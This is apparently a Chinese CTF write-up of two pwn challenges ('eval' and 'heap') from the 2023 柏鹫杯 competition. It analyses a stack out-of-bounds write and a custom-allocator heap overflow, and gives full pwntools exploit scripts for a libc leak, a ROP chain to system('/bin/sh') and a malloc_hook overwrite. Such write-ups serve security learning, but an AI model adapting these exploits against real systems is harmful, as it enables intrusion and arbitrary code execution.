2023柏鹫杯
eval
程序分析
简单看一下发现是实现了一个计算器,主要内容实在
sub_E50中,说实话看的时候挺迷的,主要是那个存放数据的结构体没看懂啥规律,后来参看的别人的思路,就是硬调试
漏洞其实不是很难找到,当你输入+100时会发现有一个段错误,就可以想到会有一个非法访问地址,就会发现在sub_DC9中有一个*(a1 + 8 * v5) = v8;操作这里a1是一个栈地址,v8是一个运算符号后面的数据是我们可以控制,但是这个v5也就是v4发现是0,接下来做的就是看看有没有办法控制这个v4(这个v4就是结构体中的第四个成员,也就是运算符号前面的数据)
发现在sub_AC7函数中有这个操作,而且调用sub_AC7必须在调用sub_DC9前面
发现总共有两个地方调用了sub_AC7,一定不是sub_E50中的那个(那个在sub_DC9后面)那只能是从sub_CB1调用了
但是想要进入sub_CB1需要满足if ( !(unsigned int)sub_966((unsigned int)v3) )也就是当前的检查的字符是运算符号,这样才能进入下面的sub_CB1,而想要进入sub_AC7不能是第一次进入这个函数,也就是说必须有两个运算符号
然后就可以达到任意在栈中任意地址写,这样就可达到修改main的返回地址,至于泄露地址就是利用printf("%ld\n", a2[a2[3] + 3]);同上面一样向a2[a2[3] + 3]中填写一个存有libc的栈地址,这样就可得到发送的数据的格式+num+p64(system)
exp
from tools import * r = process("./eval") elf = ELF("./eval") libc = ELF("./libc.so.6") context(arch="amd64",os="linux",log_level="debug") payload = "+52+1" r.sendline(payload) libc_base = int(r.recvuntil("\n")) - 244 - libc.symbols['__libc_start_main'] log_addr('libc_base') pop_rdi_ret = libc_base+0x23b6a system_addr = libc_base+libc.symbols['system'] bin_sh = libc_base+libc.search(b'/bin/sh').__next__() debug(r,'pie',0xE9d) log_addr('system_addr') payload = "+54+"+str(system_addr) r.sendline(payload) payload = "+53+"+str(bin_sh) r.sendline(payload) payload = "+52+"+str(pop_rdi_ret) r.sendline(payload) payload = "+51+"+str(libc_base+0x0000000000023b6b) r.sendline(payload) r.send("\n") r.interactive()heap
程序分析
这道题的漏洞比较简单,主要难点在于它自己实现了一个
malloc和free,实现了fastbin和unsortedbin,并且这个chunk头还有glibc中不一样
一个正在使用的chunk
第一个成员是一个7位的随机数,主要用于在
free中会检查这个数字是否被破坏第二个成员高4位用于存放
size,第四位是0xaaaaaaaa,也是在free中会被检查带三个成员是下一个被使用的
chunk(大小相同), 即使先一个chunk被释放到这个也会存在
一个被释放的chunk
发现和上面的相比多了两个成员,一个是指向上一个
chunk,一个是指向下一个chunk
漏洞利用
漏洞是在
edit中有一个溢出,并且存在show,在程序中也可以找到后门函数,思路就是fastbin attack修改malloc_hook为后门函数
exp
打本的话需要添加
env={"FLAG": "it-is-flag"}因为本地没有这个环境变量
from tools import * p = process("./heap", env={"FLAG": "it-is-flag"}) context.log_level='debug' def add(sz): p.recvuntil(b"> ") p.sendline(b'1') p.recvuntil(b"size: ") p.sendline(str(sz).encode()) def delete(idx): p.recvuntil(b"> ") p.sendline(b'2') p.recvuntil(b"index: ") p.sendline(str(idx).encode()) def edit(idx,context): p.recvuntil(b"> ") p.sendline(b'3') p.recvuntil(b"index: ") p.sendline(str(idx).encode()) p.recvuntil(b"data: ") p.send(context) def show(idx): p.recvuntil(b"> ") p.sendline(b'4') p.recvuntil(b"index: ") p.sendline(str(idx).encode()) show_p=0xEA5 edit_p=0xE42 add_p=0xD20 delete_p=0xDAA add(0x100)#0 add(0x100)#1 add(0x100)#2 add(0x100)#3 add(0x100)#4 delete(1) delete(2) edit(0,0x111*b'a') show(0) p.recvuntil(b'a'*0x111) key1=u64(b'\0'+p.recv(7)) log_addr('key1') edit(0,0x120*b'a') show(0) p.recvuntil(b'a'*0x120) heap_next=u64(p.recv(6)+b'\0\0') log_addr('heap_next') edit(0,0x128*b'a') show(0) p.recvuntil(b'a'*0x128) base=u64(p.recv(6)+b'\0\0')-0x203060 log_addr('base') edit(0,0x110*b'a'+p64(key1)+p64(heap_next)+p64(base+0x203060)) add(0x20)#1 add(0x20)#2 add(0x20)#5 add(0x20)#6 debug(p,'pie',edit_p,show_p,add_p) delete(5) delete(2) edit(1,0x31*b'a') show(1) p.recvuntil(b'a'*0x31) key2=u64(b'\0'+p.recv(7)) log_addr('key2') malloc_hook=base+0x2031E0-0x28 edit(1,0x30*b'a'+p64(key2)+p64(0x30aaaaaaaa)+p64(malloc_hook)*3) add(0x20)#2 add(0x20)#5 door=base+0xEAD edit(5,p64(door)) add(0x20) p.interactive()